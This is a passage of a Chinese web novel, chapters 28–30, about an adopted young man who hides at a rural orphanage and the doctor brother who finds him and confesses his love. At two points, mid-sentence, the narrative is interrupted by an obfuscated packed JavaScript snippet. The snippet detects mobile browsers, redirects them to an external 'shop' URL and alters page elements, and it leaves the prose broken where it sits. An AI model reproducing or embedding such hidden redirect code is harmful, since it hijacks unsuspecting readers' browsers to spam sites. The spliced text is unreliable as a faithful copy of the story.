从帝京来的公益性质的医疗团队被安排在县城医院接诊,所有仪器都是空运来的,为期一共十天,听说再过两天就要结束了。 “阿嫲,还好我们来得及时,要不然就错过了。” 章长宁主动给丹珠取好了号,又补充,“不过就算错过了,我也可以带着你去正规医院好好检查。” 丹珠说,“我没什么大事,别费心。” 两人在指示牌的带领下,上了三楼开始做检查。 心脏检查说快也快。 不过零零散散的项目加在一块,还得排着队,全套下来也得花费不少时间。 所幸丹珠的检查结果确实没有大问题,只是上了年纪后的常见症状,日常药物辅助治疗就行。 “阿嫲,你就坐在这里等我吧!” 章长宁将丹珠扶到一楼外侧的休息椅子上,很谨慎也很细心,“我看这味药忌口挺多的,我再上去问问医生,是药入口,还是仔细点好。” 丹珠欣慰点头,“你这孩子,也太小心了。” “应该的。” 章长宁抓着药袋子就重新上了楼。 医院四楼全层被安排成了公益医疗的问诊区,几个科室都划分得很细,心脏相关的科室在最右侧。 章长宁第一次上来的时候,走得是右边的楼梯,离得近也方便。 这回是从左边的楼梯上来的,他随意抬头一瞥,才发现门诊室上写着“神经脑科”四个大字。 “……” 原来这次公益医疗问诊,也有神经科和脑科?那会不会…… 章长宁心绪一沉,连忙摇头将自己不该有的想法强行甩出,“想什么呢?不至于这么巧。” 他正准备往最右侧的心脏科室走,结果边上问诊室的门就打开了。 有患者和患者家属走了出来,口里不断感谢着,“谢谢啊,谢谢章医生,麻烦你了。” “……” 章长宁顿时被硬控在了原地,不受控制地挪去视线,下一秒,他就透过半敞开的门缝见到了那张日思夜想的脸。 章长叙穿着一袭白大褂,坐在问诊桌前低头记录着病案。 对方手上拿着的那支钢笔很眼熟,似乎是当初刚进医院接受培训时,章长宁送他的那一支。 章长宁突然有些喘不上气,视线渐渐被蕴出的水雾模糊,“哥……” 他下意识地想要出声,但又硬生生将这声称呼咽了下去。 章长叙原本还在工作记录,但写着写着,他就敏锐察觉到了停留在自己身上的视线,抬眼的那一刹那—— 门口那道熟悉的身影立刻转身就跑。 哪怕只有一秒的视线触及,章长叙还是一眼认准了来人,“宁宁?” 他猛地从位置上站了起来,用力过度地还将身后的椅子带倒在地,发出震耳欲聋的一声动静。 章长叙无心顾及,夺门而出。 坐在斜对面的医生同事吓了一跳,茫然,“章医生?怎么了?” 不出三秒,他就听见一墙之隔的问诊室外传来章长叙的声音—— 这位向来以“冷静克制”出了名的章医生,这会儿竟然用从未有过的焦急声线当众吼道,“章长宁,你给我站住!” 28.【第028章】 丹珠在医院一楼的椅子上等了十几分钟,才看见章长宁魂不守舍地走了回来。 她站起身,“小七。” 章长宁后知后觉地回过身,加快脚步。 丹珠看着他,说,“怎么去了这么久?没出什么事吧?” “没。” 章长宁自然藏着刚才的小插曲不敢说。 在被章长叙发现的那一瞬间,他就已经返身迅速往下跑了,他没有第一时间跑回到一楼,而是借着二楼人群的掩护,迅速藏进了一个没有人的临时病房。 丹珠看着他手里已经攥成一团的药袋,“医生怎么说?” 章长宁略带歉意,“我、我没找到医生。” 他的心绪全被章长叙拉去了,根本忘记了自己原先上楼是为了做什么。 丹珠没怪他,“没事,医嘱上都写了,按时吃药就行,时间不早了,你陪我去买点糖果小蛋糕,带回去给弟弟妹妹们吃。” 章长宁偏头往医院大厅里看了两眼,说不上自己是什么滋味。 他既不希望章长叙能够找到自己,却又暗藏一点微妙的、想要被找到的别扭心思。 “小七?” “阿嫲,我们走吧。” 章长宁沉住呼吸,最终将那点不切实际的念头往外抛。 他之所以从帝京离开、躲到瓦县,就是还不知道该怎么面对章长叙,这会儿要是见了面,只怕会更尴尬无言。 想到这儿,章长宁还是抓紧时间和丹珠一块离开了。 返回到福利院时,天色已经完全黑了。 院里的孩子们看见新买来的小蛋糕,都很高兴,连带着晚餐都简略了。 章长宁吃不下饭,早早回到了自己的房间。 从下午的匆匆一面后,章长宁就觉得自己好不容易有所平复的心又全乱了—— 原本一人待在帝京工作,一人躲到瓦县义工教学,按理来说应该是八杆子打不到一块的,结果倒好,就这么猝不及防地又遇上了。 “……” 章长宁不确定章长叙参加公益医疗是自愿还是分派,但他就是有种直觉,章长叙看见了,那就一定会想办法找到福利院、找到他。 到时候,他该怎么面对呢?难道还要再逃跑吗? 章长宁一夜未眠,但第二天还是照常去小学教书,放学路过学校门口,他的目光轻易就被校门边上的一团小身影给吸引了。 也不知道是谁家的孩子,脸上脏兮兮的,穿得像是给小乞丐。 章长宁想起自己手提包里还有剩下的糖果,刚准备走近递给对方,结果那小不点儿转身就跑,和兔子似的,压根就不给他靠近的机会。 “……” 又是这样。 跑得还真挺快的。 连着好几天下课,章长宁都能看见他,可惜每次不等靠近,对方就溜得没影了,喊都喊不住。 章长宁想到这儿,脑海中突然回荡起了昨天下午在医院里的那一句—— “章长宁,你给我站住!” “……” 章长宁垂下眼眸,突然觉得可笑: 嗯,就他这样的,还好意思觉得别的小孩跑得快呢? 不知道昨天章长叙没找到他后,会怎么想?会不会不开心? 脑海里一旦装满了这件事,就怎么着都甩不掉,章长宁有气无力地穿过小桥、返回了河对面的福利院。 他刚进院门,守在门口的丹珠就出来迎接了,“小七,你上完课啦?有人找你呢?” 章长宁没反应过来,“什么?” 丹珠领着他往他的小卧室走,“喏,都在里面等你一上午了。” 章长宁心一颤,本能意识到了什么了,他才无意识地后撤了一步,卧室门就抢先一步从里面打开了—— 章长叙站在门内,用复杂至极的目光锁定了他。 “聊聊吧。” 他说,“我们。” … 卧室门关上。 原本就狭小的房间里霎时只留下了他们两个人。 章长宁靠床站着,内心有种说不上来的局促,“你、你怎么找到这里来的?” 他想过章长叙有可能会找到自己,但没想到会这么快。 章长叙主动拉近了两人的距离,“为什么又一声不吭离开?” “……” 房间的面积不大,章长宁站在床边,退无可退。 他不敢直视眼前人,也没回答,可答案是显而易见的。 “手机关机、微信不回,我问遍了所有认识你的人、翻遍了所有你有可能会去的地方,章长宁,已经不是第一次了,你想让我拿你怎么办?” 听上去平静的话语里暗藏了不为人知的心酸和无奈。 这个月,章长叙过得比以往任何一年都要糟糕。 他想过以章长宁的性子,可能在面对这份感情的时候会有退缩、会有害怕,可他没聊到对方居然“狠心”成了这样—— 不打一声招呼,不回一声消息,就这么决绝地离开了。 大海捞针,谈何容易。 章长叙这才意识到,原来只要脱离了“章家”、脱离了这层“兄弟”身份,他就有可能彻底失去章长宁。 明明离开的是章长宁,但有分离焦虑的人是章长叙。 这种认知搅得他浑身无力,后悔和懊恼日复一日地裹挟着他。 章长叙后悔自己那天太过于冲动,更懊恼自己没能和章长宁一次性将感情说清楚,但最担心的,还是他怕章长宁在外照顾不好自己,又或者遇到了什么危险。 章长叙的失眠一夜比一夜严重,甚至常常通宵无法入眠。 到了最后,这种夜不能寐的情况已经严重影响到了他的工作状态。 于是,章长叙主动和科室主任报备了情况,对方转头就将公益医疗行动计划告诉了他—— 给偏远县城的老人孩子们看病,一般只会是用药物控制,不会上升到“大手术”这种情况。 章长叙原本是想要给自己申请长假的,但看见公益医疗的目的地后,他又鬼使神差地应了下来,和原本要出差的同事对调了工作 “我从爸那边拿到了福利院的大致地址,知道福利院就在公益驻扎的隔壁小县。”章长叙这句话,算是回答了章长宁一开始的问题。 原本,他是想等公益医疗援助的任务结束后,再来瓦县碰碰运气。 可没想到,上天自有安排。 昨天在医院的匆匆一面,章长叙就觉得自己沉寂枯竭了许久的心活了过来。 只可惜,他反应得再快、追得再猛、喊得再响,终究还是让这章长宁这只兔子逃走了。 章长叙昨天第一时间就询问了县医院的前台护士,还托关系调取了医院监控,看见章长宁是陪着一位老夫人前来就诊后,他基本就断定了对方“躲”在了瓦县的福利院里。 他原本昨晚就想来找章长宁,但想了想,还是止住了这个“冲动”的念头。 找不到章长宁的这一个月,章长叙作息是混乱的,脑子也是混乱的。 他怕自己没办法准确表达自己的想法,更怕自己会再次吓到章长宁,于是用了整整一个晚上梳理见面会有可能发生的情况。 再然后,早起赶了过来。 “我听院长说,你去学校上课了,本来想在小学门口等你,但怕你不想被其他人看见。” 而且太空旷的场地也不适合聊天,于是,他就耐着性子留在这里等。 “宁宁。” 章长叙又上前了一步,抓住章长叙的手,用近乎恳求的语气,“能不能别躲着我了?” 章长宁从未听过章长叙用这样的语气和自己说话,鼻尖一酸,可他还是强忍着不舍,将自己的手用力抽离。 “哥。” “……” 一个称呼,看似亲近,却迅速拉远了两人间的距离。 章长叙抓了抓自己空落落的掌心,意识到了什么,“你想说什么?” “我不知道柏续是怎么和你说的,但我想你可能会错意了——” “我确实从小就知道我不是章家的孩子,最青春懵懂的时候,是有过一阵子很爱贴着你,想着找一个你这样的对象也不错。” “不过这种念头早就消失了,你既然知道我在躲着你,就应该知道我为什么躲着你。” “……” 章长叙笑了声,很苦,“会错意?” 章长宁心虚,想从侧边挤出去,结果章长叙就一把将他拽到了怀中,“你知道我那天没说话的话是什么?” 章长宁挣扎,“我不想知道……” “章长宁,我爱你。” 简简单单六个字,迅速将章长宁的眼眶惹到发红,所有伪装和借口,在这一瞬间被统统碾碎。 “不是亲情,是爱情,不是喜欢,是爱。” 章长叙紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240319|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧抱着他,冲破一切阻碍明确自己的感情,“很早之前就是了。” “曾经我想恪守‘兄长’的身份和底线,不敢对你做出半点越界的事,可事实就是,我根本做不到,我不想把你让给任何一个人,我不想……” 章长宁声线颤抖,“你别说了!” “为什么不说?我们不是亲兄弟,有什么不能说的?” 章长叙知道章长宁在躲避什么,试图软下语气,“宁宁,我知道你在担心什么,爸妈那边,我会想办法……” 提及关键字眼,章长宁的反应瞬间更激烈了。 “够了!没有结果的事情,说出来只会造成不必要的麻烦和负担!” 章长宁猛然推开章长叙,声嘶力竭地扯着自欺欺人的谎,“章长叙,你别一厢情愿了行不行,我不喜欢你!我这辈子都不可能和你在一起!” ——轰隆! 一道猝不及防的雷光闪现,映衬着彼此眼里的红意。 章长宁避开和章长叙的眼神交流,强装镇定,“是,我和章家是已经解除关系了,但我们之间从来不存在第三种可能性。” “要么,你还是我名义上的兄长,过阵子等我回了帝京,我们还是像一家人那样相处。” “要么,从今往后我们不要再联系、不要再见面了,我欠爸妈的那份养育之恩,我会绕开你慢慢还。” “……” 章长叙没说话,他试图上前重新拉近两人间的距离。 可刚有行动,章长宁就同步后退了,“章长叙,你放过我行不行?你再逼我,我只会越逃越远。” 雨,落了下来,砸在玻璃窗上噼啪作响。 天色被乌云盖住,说暗就暗,房间里的气氛变得无比压抑。 章长叙的眸光晦暗一片,再出口时嗓音已经完全哑了,“章长宁,我只问你——” “你对我,就没有过亲人以外的其他感情?” “是。” “我的存在、我的感情,只会让现在的你觉得负担?” “是。” “你想赶我走?” “……是,我现在、不想看见你。” 沉默随着这三声应答越发加重。 章长叙感受到了章长宁的抗拒,明知道他有口是心非的成分,却不敢再轻举妄动,他怕自己再吓到章长宁,更怕对方真的再躲到他找不到的地方。 毕竟,这次对方只是躲了他一个月,就差点要去了他半条命。 章长叙不敢再赌了,他输不起。 “好,我知道了,我现在就走。” “……” “给爸妈打个电话吧,他们很担心你。多吃点饭,别再瘦了。山里夜凉,你睡觉不老实,多盖层被子别冻着。” “……” “我走了,不打扰你。” 房门打开又合上。 屋内的空气都随着章长叙的离去而抽离,章长宁再也支撑不住地瘫坐在地上,捂住自己的脸颊。 “小七?” 丹珠小心翼翼地推门而入,她一看见蜷缩在地上的小小身影,顿时心疼地拧住了眉头。 福利院的隔音不算好。 刚才两人的争执声,被隔壁房间里的她听了个七七八八。 从章长宁回到福利院的那天起,丹珠就猜到他的身上一定发生了什么,却没想到会是这样。 “小七,别坐地上,下雨了,地上凉。” “……阿嫲。” 章长宁露出那张被泪浸湿的脸,断断续续地说,“他是我二哥,我爸妈可盼着他结婚成家了,所以、所以我不能那样。” “要是我任性乱来,他们会怪我,他们会伤心的。” “阿嫲知道,阿嫲都明白了。” 毕竟是养了好几年的孩子,丹珠哪里能不知道章长宁柔软又敏感的内心? 这孩子,宁愿把什么痛苦都揽到自己身上,也坚决不敢做任何有可能对不起养父母的事。 “阿嫲。” 章长宁看着已经被巨大雨势糊住的窗户,哽咽,“他没带雨伞,怎么回去啊?离得那么远,淋雨感冒了怎么办?” 丹珠问,“阿嫲给你找伞,你去找他好不好?肯定走不远。” 章长宁摇了摇头。 他整颗心都浸在雨里,湿透了。 不是不想,而是不能,他不能再和章长叙有任何接触,也不能再给自己留任何念想。 29.【第029章】 章长叙回到医院安排的宾馆时,整个人都被突如其来的暴雨淋湿了。 路过的同行看见他少有的狼狈样,惊呆,“我天,章医生,你这是从哪里回来呢?怎么淋成了这个样子?” 章长叙有些狼狈,神色也淡淡的,“去了隔壁县,没想到会下大雨。” 他被章长宁“赶”走后,心也就跟着空了一大半,压根没想着要怎么回来,只是麻木地走在雨里。 后来还是遇到了开车的游客,对方好心捎带了他一程,只是下车后没有伞、雨势反倒更大了,所以才弄成现在这副模样。 同行又问,“你今天下午不用去门诊了吧?” 章长叙点头,“和周医生说过了,他替我一天,明天跑村我替他去。” 毕竟是公益性质的医疗援助,他们一行医生没有苛刻的上班打卡制度,不过,不是所有老人家都能够及时得到医疗援助的消息,或者方便赶来县医院的—— 所以,这次出了十天的定点医疗外,他们还会分批组队前往临近的山区村里,进行走访医疗咨询。 同行点头,“那你赶紧回房间冲个热水澡,这剩下两三天就要返京了,可别感冒发烧了。” “嗯。” 章长叙微微点头,却没有走电梯,而是顺着楼梯一层层地往上爬。 同行医生瞧见他的背影,蹙了蹙眉: 奇了怪了。 他怎么总觉得章医生今天魂不守舍的呢?发生什么了? … 酒店的热水系统很不稳定,水温时冷时热的。 章长叙简单冲了澡、换了衣服,这才拖着疲惫的步伐走到了床边。 床上铺着的并不是酒店惯用的白色床单,而是浅蓝色的,上面还印着一只巨大的卡通白色小猫,和他的一贯形象很不贴合。 团队安排的是双床房。 入住第一天,和章长叙同组的周医生看见他拿出这套床单被套,还笑话,“看不出来啊章医生,你自带的床单被套这么可爱呢?是不是另一半给你带的?” 面对调侃,章长叙只笑了笑。 这样款式的床单,自然是章长宁的。 自从对方不告而别后,章长叙就爆发出了从未有过的分离焦虑,作为医生的他不敢随便吃药强制入睡,只能靠着沾着对方气息的床单被套,以此获取些许的安定。 除此之外,床上还放着一件章长宁的毛衣。 章长叙侧躺在毛衣枕头上,提起被子将自己彻底笼罩,直到熟悉的、淡淡的椰奶香气包裹而来,他才任由内心深处释放出脆弱和痛苦—— “你对我,就没有过亲人以外的其他感情?” “是。” “我的存在、我的感情,只会让现在的你觉得负担?” “是。” “你想赶我走?” “……是,我现在、不想看见你。” 章长叙知道章长宁在逃避什么,明知道对方的回答里有口是心非的成分,可他还是控制不住地觉得难过。 横在他们感情里的不是“阻碍”,却是比寻常阻碍更难跨越的亲情。 对于章渡和沈眠来说,章长宁从来不是养子,而是他们用心爱护了二十多年的亲生儿子,他们开明,所以可以接受柏续和商延枭的同性恋情。 即便如此,天底下又有几对父母能够轻易接受,自己看着长大的“儿子们”发展出除了亲情之外的其他关系? 章长宁看上去天性乐观、开朗,实际上却敏感内耗,他不愿意伤害到沈眠和章渡,只能用这种方式选择把他推开。 章长叙明白,现在的自己那么难受无奈,而另一边的章长宁只怕会更难受痛苦。 “……” 哒哒哒。 耳畔传来不算完全规律的秒针响动。 章长叙摸黑将枕头底下的腕表拿了起来,昏暗的室内光线下,表盘里的碎钻还散发着奕奕流光,反衬着他晦暗的眉眼。 章长叙攥紧表盘,将它贴近自己的耳朵。 哒——哒——哒—— 仍是不算规律的节奏,却一点点地和他的心跳重合。 不知道过了多久,章长叙才忍着那点头疼爬了起来,他一手紧握着腕表不松,一手拨通了章长风的电话。 电话那头很快就接了起来。 “喂,老二?” “……哥。” 章长叙的嗓音有些沙哑,还有些病态的疲惫。 作为家里的老大,章长风也是很了解自家的弟弟们,他一听章长叙少有的脆弱语气,就意识到了他的情绪不对劲。 “叙啊,怎么了?” 章长叙说,“我找到宁宁了。” 章长风激动起来,“找到小弟了?他在哪里呢?你现在不是在……” “在瓦县,爸当年领养他的那件福利院。”章长叙长话短说,无人的房间里,只有手机屏幕里的光映衬出他深思熟虑后的冷静眉眼。 “哥,我有事要和你说。” … 川城地界的雨,一大下起来就没完没了。 阴沉沉的天像是漏了大洞,暴涨的雨势持续了将近三天,还将气温干下去了不少,这才有了转小的趋势。 章长宁望着窗外的雨,不自觉地裹了裹身上的毛衣,心思发沉。 这都过去三天了。 自从那天狠心将章长叙赶走后,对方就再没有来找过他,听说公益医疗团队只在瓦县待上两周,算算时间,大部分是不是也该启程返京了? “……” 好想再见见他。 或许偷偷跑到医院、偷偷再看上一眼? 只要小心一些,应该不会被发现了吧?但是万一被发现了怎么办? “小章老师!” 忽然间,教室里有学生喊道,“下课了!” 章长宁这才听到下课铃响,他重新勾起一抹笑意,用尽量活泼的声线和孩子们交流,“好了,把你们这节课的美术作业都交上来吧,下课~” “好!” 周四下午只有一节文娱课。 章长宁妥善收好学生们的课堂作业,这才撑着一把小伞离校。 他刚踏入福利院的铁门,就看见丹珠站在内屋的檐下等他,“小七,你、你回来啦?” “阿嫲,怎么了?” 章长宁不想在丹珠面前流露太大愁绪,笑着收伞,朝外甩了甩伞上的雨水。 丹珠眉心闪过一丝迟疑,最终还是担心战胜了一切,“小七,我听阿纯说,隔壁县城的医疗团队昨天跑去山里给老人家们上门看病。” “返程的时候遇上泥石流,昨天好像、好像有医生受伤、送去抢救了,你要不要……” ——砰! 章长宁手中的雨伞砸在了地上。 他顾不上弯腰去捡,第一时间就随着本能反应行动,掏出自己的手机、直接按下了铭记于心的那串手机号。 这是他的备用手机,一直没存章长叙的电话。 “对不起,你拨打的电话已关机,请稍后再拨。” “……” 章长宁的心猛然一沉,又瞬间提到了嗓子眼。 他不死心又重拨了一次,得到的还是机械女声的回复。 “阿嫲。” 章长宁慌了神,“他、他没接电话,关机,怎么会关机呢?” “小七,你别急,我也只是中午听阿纯说的,说不定只是误传,也说不定章医生他没在随行名单里、没出事呢。” “……” 章长宁哪里还能听得进丹珠的宽慰? 随着第三次关机提示响起,他的眼眶已经红了起来,“阿嫲,我、我要去找他!我得去看看!” “好好,别急,你去看看。” 丹珠看出他的六神无主,又瞧见这逐渐转大的雨势,“小七,我让隔壁阿塔叔开电动小三轮送你去。” 这里到瓦县还有点距离,一时半会儿找不到小汽车,有辆小三轮代步好歹能避避雨、也省点体力。 ——轰隆! 雷声又砸了下来,震得章长宁心脏发麻。 他一次又一次地拨通着已经关机的手机号码,久违的恐惧感从心尖生出、麻痹了他的四肢百骸。 “为什么会关机……怎么会关机了呢?” 因为职业关系,章长叙几乎不会有手机关机的时候。 哪怕以往是在手术期间,他的手机也只会改成震动模式,然后交给手术室外的医学助手保管。 章长宁机械式地拨打着这串打不通的手机号,没意识到自己浑身都在发颤,忍不住提拔声音恳求,“阿塔叔!能不能再开快一点?” “小七,这雨太大了糊视线,太快了不安全!”雨势透过缝隙灌了进来,阿塔叔说,“我已经在尽量开快了,你别急。” 章长宁攥着手机的指关节因为用力而发白,他勉强稳住自己的心神,又拨出了另外一通电话号码,是章长风的。 这一次,电话倒是接得很快。 “喂?请问找谁。” “大哥,是我。”大概是听到了熟悉的声音,章长宁总算找回了一丝理智,“二哥最近有给你打电话吗?他、他回帝京了吗?” “小弟?” 电话那头的章长风愣了愣,说,“我们俩前天下午通过电话,他说还得进山上门做医疗检查……” 章长宁听见这句话,整个脑子又开始嗡嗡作响。 “小弟?小弟,你在听吗?” “……” 章长宁牙齿发颤,张嘴才发现自己居然因为极度的紧张而说不出话。 下一秒,电动三轮车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252708|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然一个急刹! 章长宁猝不及防往前一栽,连带着手机也砸在了地上。 “哎哟!” 阿塔连忙回身看他,“小七,没事吧?” 章长宁脑袋砸在了座位铁架上,有些疼,却来不及管,他捡起手机,“没事,塔叔,怎么突然停下来了。” “山上有石块和泥沙滚到路中间了,拦死了路,这要不清理一下,根本过不去。” 这边山多,一下雨就避免不了这种情况。 阿塔叔开门下了车,捡起车座底下的备用雨衣,“我试着去清理一下,看看能不能过去。” 章长宁喊道,“塔叔,不麻烦了!” 他跳下车冲进雨里,根本不想再多耽误一秒,“你就送我到这里吧,这里和县医院不远了,我记得路,我自己过去!” 说完,他就冒雨直接越过路面上的阻碍,大步跑了起来。 “小七!危险!” 塔叔急得大喊,可是根本就阻拦不住往前冲的章长宁。 轰隆! 雷雨声很急,急得心跳都要冲破胸膛了。 视线被雨势模糊,可章长宁丝毫没有降低自己的跑步速度,过大的雨滴砸在了脸上和身上,没一会儿就浸湿了他的毛衣外套,又冷又沉。 恍然间,章长宁想起了年初在滑雪小镇的时候—— 那时候目睹了雪崩,他和柏续也是这样不管不顾地冲到雪山脚下。 章长宁原以为自己这辈子不会再有这么恐惧的时刻,但现在发生的一切都好像在复刻当初,只是这会儿他没了柏续作陪,形单影只,越发滋生恐惧和不安。 明明上天都已经警示过他,都已经给他第二次机会了? 他为什么还是畏手畏脚的,为什么还是不能好好抓住! 章长宁想起自己前天对章长叙说得那些心口不一的话,后悔滋生,却不料脚底突然打滑,他整个人随着惯性,硬生生摔在了水泥路上。 “啊。” 章长宁的呼痛闷在了喉间,分不清脸上到底是雨还是泪。 ——宁宁,将来无论发生什么,你都不能像今天这样着急慌忙,连自己的身体健康都顾不上了,明白没有? ——他不明白,他学不会。 “哥。” “章长叙……” 章长宁崩溃地喊出这个名字,强撑着从地上爬了起来,他甩掉已经成了吸够雨水成为累赘的毛衣外套,继续跑着。 胸膛里的空气像是一点一点地被挤了出去,体外的冷感和体内的灼烧感混杂在一块,仿佛随时都能将他的意识抽离。 也不知道过了多久。 章长宁只觉得自己的步伐越来越慢,而眼前终于出现县医院的大门和招牌。 “……” 章长宁几乎是连扑带摔地冲进了医院门口的门卫亭。 守门的大爷被他吓了一跳,“哎哟,这……这是怎么回事啊?小伙子,你哪里不舒服啊?” 章长宁不受控制地急喘着,但口鼻和胸腔里就是跟不上一口氧气,不知从哪里冒上来的痛意侵占了他的身体。 疼。 疼得他蜷缩弯腰。 “……章、章医生,在吗?” 章长宁的牙齿在打颤,浑身都像个筛子一样在哆嗦。 “章……长、长叙。” 他努力说清这三个字,却是徒劳无功。 “什么?你找谁?” 大爷根本听不清楚章长宁在说什么,但看见他涨红到近乎铁青的面色,就知道情况很不对劲,“小伙子,你先坐着,我去给你喊医生。” 说着,门卫大爷就撑伞往外急匆匆地走。 章长宁感觉自己的意识都要涣散了,偏偏还撑着一口气,强迫自己颤颤巍巍地往外走。 “……” 不在这里。 他要去找章长叙。 可他要去哪里找章长叙? 章长宁茫然地僵在原地,他的视线里是模糊一片,耳朵里是尖锐的嗡声,大脑更是一阵高过一阵的空白泛晕。 他很冷,又很热,仿佛连生命都在跟着时间一点点地流失。 “……” “宁宁!” 章长宁重心往后栽去,没有痛感,只有结实的怀抱。 恍惚间,章长宁看到了一张心急如焚的面容,是章长叙。 他分不清是现实还是因为身体太疼而产生的幻觉,他想要抬手,却是一点儿力气都不剩了。 空落落的掌心被抓稳。 章长叙感受到他几乎冻成冰块的手,心如刀割,“宁宁?宁宁!” “……” 章长宁觉得自己像是偏过了头,小心翼翼地蹭上了章长叙的衣服,然后任由疼痛吞噬他的意识,将他拽进了无边无际的黑暗。 30.【第030章】 章长宁的意识很混沌。 他觉得自己沉溺在一片黑暗里,浑身轻飘飘地起落,一会儿冷得如坠冰窟,一会儿又热得像在烈火里面灼烧。 浑身都泛着针扎的痛意,密密麻麻的,抽痛得他无法呼吸。 章长宁想要睁眼看清周围的一切,可浑身的力气像是被抽干了,怎么挣扎都无法看清周遭的一切。 也不知道过了多久。 章长宁才看清了周围的景象,恍惚间,他又回到了小时候,站在福利院的铁门内,透过栅栏望着章家人渐行渐远的背影,走在最后的是小时候的章长叙。 章长宁急了。 于是努力爬到了铁门的最顶端,然后飞扑到了门外。 他摔得很惨,手脚都很疼,可他还是咬着牙爬了起来,一瘸一拐地去追章家人的背影。 “二哥!” “哥哥!” “你别走!” 章长宁胸口堵住一团气喘不上来,所有的字眼含糊在口中发不出来,他只能努力地跑着、追着,然后抓住了章长叙的手。 再抬眼,站在他眼前的不是小时候的章长叙,而是长大后穿着一袭白大褂的章长叙。 章长叙蹙眉,甩开被他握紧的手,“你还抓着我做什么?不是你说不想看见我的吗?” “……” 不是的。 不是这样的。 章长宁焦急地想要解释,愣是被堵着发不出一个字。 章长叙的面色很平静,甚至有些冷酷,“我们两人已经不是亲兄弟了,我不会再管你,你满意了?” 说完,他就不再回头地往前走。 章长宁想要再追上去,可双腿像是灌了铅、动得极其缓慢,他余光瞥见远处山上滚落的山泥石块。 “哥,别过去!章长叙,你别过去!” “——轰隆!” 巨声轰动。 章长叙的身影又不见了。 “不!” 章长宁骤然惊醒,整个人因为过度的惊恐发颤。 “宁宁?” 原本还靠在床边的章长叙顿时有了反应,凑近观察着他的情况,“醒了?” “……” 章长宁没回答,眼里还有些惊魂未定。 过了好几秒,他才迷茫地眨了眨眼,却是避开了章长叙,小心翼翼地观察着周围的环境—— 他不在医院,而在一个很陌生的酒店房间,边上的另外一张床正空着。 窗帘被拉了起来,只透进一点点微弱的光亮,床边还立着一根点滴杆,上面挂着两瓶已经打完的药水,床头柜上甚至还有一台小型的呼吸设备。 章长叙注意着他的一举一动,“这里是我的房间。” 县城医院的床位不多,都被有需求的老人给占满了,确认了章长宁的身体没有大碍,章长叙才和院方沟通,将他带了回来照顾。 同住的医生给他们腾了空,这会儿已经搬到其他房间了。 章长叙拿湿巾擦了擦他额头上的虚汗,“你才挂完点滴没多久,还发着烧,手肘膝盖上的伤口上了药,先躺着不要乱动,还有没有哪里不舒服的?” “……” 没事? 没事就好。 章长宁确认了眼前人不是梦境,也没有受伤的迹象,于是一声不吭地往被子里缩了缩。 他有点想哭,但还是忍住了。 “宁宁。” 章长叙没有逼他回应,只是伸出很轻地拍了拍他的脑袋,“……被子里闷,你现在不能憋着自己。” 大约过了半分钟,章长宁才将那种“劫后余生”的酸涩感咽了下去,他露出小半张脸,用视线描绘着昏暗里的章长叙。 他想要解释。 “阿嫲听别人说,帝京来的医疗团队在山里出了事,有医生受了伤……我给你打电话,可是你关机了……” 章长宁还是没什么力气,说话很缓慢,尾音有些颤。 他轻吸了一口气,重复,“你关机了,我、我怎么打都打不通,所以……所以我想着过来看看,就、只是来看看,没别的意思。” 他撇开目光,刻意隐去了自己那些不着调的慌乱和恐惧,没有多提及一个字。 “你没事就行。” “我有点累,等……等休息够了我就回去,不打扰你。” 胸膛里似乎还残留着不久前的痛意,让他隐隐难受得想哭。 “……” 章长叙一瞬不瞬地望着他。 大概是光线问题,章长宁的脸色很白,但眼里的红意灼得人心滚烫。 章长叙果断俯下身,将章长宁困在自己和床背之间,“宁宁,你看着我——” 近在咫尺的注视,让章长宁无处可逃。 章长叙主动解释情况,“前天我冒着雨回去,有点感冒,第二天强撑着去山里医疗问诊,结果雨大风冷,没撑住就病倒了。” 章长叙是跟着小部队第一批折返县城的。 出事的医生是在第二批小部队里,确实遇上了泥石流,不过撤离及时,只是扭伤了腿、不算严重,但消息一传十、十传百地就变了味。 “我烧得挺厉害的,回来后吃了药就一直在昏昏沉沉地睡。” 可能也是因为近期心绪郁结,章长叙已经很久没病得这么厉害了,他确实没顾得上给手机充电,所以也不清楚手机是什么时候没电关机的。 等到好不容易退了烧,他想看一眼时间,才发现这个问题。 于是,他第一时间进行充电、开机。 可出乎意料的是,恢复电量的手机瞬时弹出了很多未接来电,大都来自一个陌生的电话号码,以及还有章长风的来电。 没等章长叙弄清楚是怎么一回事,章长风的电话又打了进来。 “大哥说你慌里慌张给他打了电话,还询问我的情况,结果没和你说几句就断了电话,再打回去也没人接。” 章长叙意识到情况可能不对劲,所以立刻穿上了衣服外出。 他原本是想要去县医院借辆代步工具,没想到刚踏进医院外大门就看到了令他心痛的一幕—— 章长宁从头到脚都被大雨给淋透了,他只穿了一件白色长袖,上面满是摔倒后的泥渍,步伐不稳地晃荡在雨里,整个人单薄得像是随时会被一阵风给刮倒。 章长叙几乎是拔腿就跑了过去,抢在章长宁摔倒前将他捞入怀中。 但那会儿章长宁的情况已经异样到了极点,面色红得发紫,整个人像是濒临干涸的鱼,一抽一抽地喘不上来气,随即就没了意识和知觉。 好在一切来得及。 章长叙一想到章长宁当时的情况,就心疼得无以复加,“对不起,没有第一时间接到你的电话,是我害你担心了。” 哪怕眼前人不说,章长叙也能猜到章长宁是以什么样的心境跑来医院找他,甚至连自己的健康安危都抛到了脑后。 呼吸碱中毒可大可小。 严重的时候是会危及性命的! 